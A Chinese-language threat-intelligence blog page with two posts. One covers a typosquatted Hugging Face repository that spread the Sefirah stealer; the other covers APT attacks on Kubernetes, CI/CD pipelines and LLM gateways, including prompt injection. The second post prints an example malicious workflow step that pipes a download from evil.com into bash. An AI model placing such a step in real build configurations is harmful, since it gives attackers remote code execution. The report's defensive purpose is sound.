2 篇博文 含有标签「Threat Intelligence」

1. 事件概述​

2026 年 5 月 7 日，安全研究机构 HiddenLayer 披露了一起针对 AI 开发社区的供应链投毒攻击。攻击者在 Hugging Face 平台创建恶意仓库 Open-OSS/privacy-filter，通过 typosquatting（仿冒命名）技术冒充 OpenAI 官方项目，并利用虚假账户将其推至趋势榜首位。该事件导致约 244,000 次 恶意下载，成为开源 AI 平台历史上最严重的大规模恶意软件分发事件之一。

核心 Payload：基于 Rust 语言开发的 Sefirah 信息窃取木马，具备反分析能力，窃取范围包括浏览器凭据、加密货币钱包、Discord 令牌及系统敏感信息。

2. 攻击技术分析​

2.1 初始访问：Typosquatting 与信任滥用​

• 仿冒策略：注册与合法项目高度相似的仓库名，复制原始模型卡片内容，伪造可信文档。
• 社交工程：通过自动化脚本生成大量虚假账户进行“star”操作，人为提升排名，利用平台公信力扩大传播。

2.2 感染链：多阶段 Payload 投递​

2.3 Sefirah 窃密木马能力分析​

• 数据窃取范围：
  • 浏览器数据：Cookie、密码、历史记录、会话令牌
  • 加密货币：钱包文件及浏览器扩展数据
  • 通信工具：Discord 令牌、本地数据库
  • 系统凭证：SSH、FTP、VPN 配置文件（如 FileZilla）
  • 其他：敏感文件、系统信息、屏幕截图
• 反分析机制：
  • 检测 VMware、VirtualBox、QEMU 等虚拟化环境
  • 识别沙箱及调试器行为，仅在真实用户环境执行

3. 基础设施与归因​

3.1 C2 基础设施​

• 域名：recargapopular[.]com
• 注册信息：2026 年 2 月 16 日注册，使用 Cloudflare CDN 隐藏真实 IP
• 通信协议：HTTP 协议进行数据外泄

3.2 威胁归因​

• 跨平台关联：与 npm 平台 typosquatting 攻击共享 loader 基础设施，分发 WinOS 4.0 植入程序
• TTP 一致性：相同的代码结构、C2 通信模式及数据外泄格式
• 组织化特征：同一威胁行为体在多个开源生态系统同步运营

4. MITRE ATT&CK 映射​

5. 防御建议​

5.1 事件响应措施​

• 系统重置：重新映像受感染主机，清除持久化机制
• 凭证轮换：更换所有密码、API 密钥、SSH 密钥
• 资产保护：更换加密货币钱包及种子短语
• 会话失效：使浏览器令牌失效，重置双因素认证

5.2 开发安全实践​

• 来源验证：安装模型前验证仓库官方性及发布者身份
• 签名验证：启用代码签名验证功能
• 环境隔离：在沙箱虚拟机中测试第三方模型

6. 结论​

此次事件揭示了开源 AI 生态系统面临的供应链安全挑战：

1. 信任机制滥用：攻击者利用平台排名算法和社区信任进行大规模分发
2. 技术成熟度：Sefirah 木马的反分析能力表明攻击工具的专业化趋势
3. 跨平台威胁：威胁行为体正通过多平台运营扩大攻击面，需加强生态协同防御

2026 年 Q1 以来，多个 APT 组织显著加大了对云原生基础设施的攻击投入。ICE 实验室威胁情报团队通过长期追踪，识别出以下攻击趋势。

攻击趋势概览​

1. Kubernetes API Server 定向攻击​

多个 APT 组织（包括 Lazarus、Volt Typhoon）开始将目标转向 Kubernetes API Server。主要攻击向量包括：

• 匿名认证滥用：部分集群未禁用匿名请求，攻击者可枚举集群资源
• Service Account Token 窃取：通过 Pod 漏洞获取 SA Token，横向移动至 Master 节点
• etcd 数据泄露：直接访问未加密的 etcd 存储，获取集群全部 Secret

2. CI/CD 供应链投毒​

攻击者通过向 GitHub Actions / GitLab CI 配置文件注入恶意 workflow_dispatch 触发器，在构建阶段植入后门：

# 恶意 workflow 示例
on:
  workflow_dispatch:
    inputs:
      deploy:
        description: 'Deploy to production'
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: curl -sL https://evil.com/payload | bash

3. LLM 网关攻击面​

研究发现，针对 One-API、New-API 等 LLM 网关的攻击呈上升趋势：

• 请求走私：利用 HTTP/1.1 与 HTTP/2 解析差异绕过速率限制
• Token 重放：截获 API Token 后批量调用付费模型接口
• Prompt 注入：通过系统提示词注入获取网关管理权限

IoC 指标​

防御建议​

1. 强制启用 Kubernetes 匿名认证禁用
2. 实施 SLSA Level 3 供应链安全框架
3. 部署 eBPF 运行时监控（如 Tetragon）检测异常 syscall
4. 定期审计 LLM 网关 Token 权限与调用日志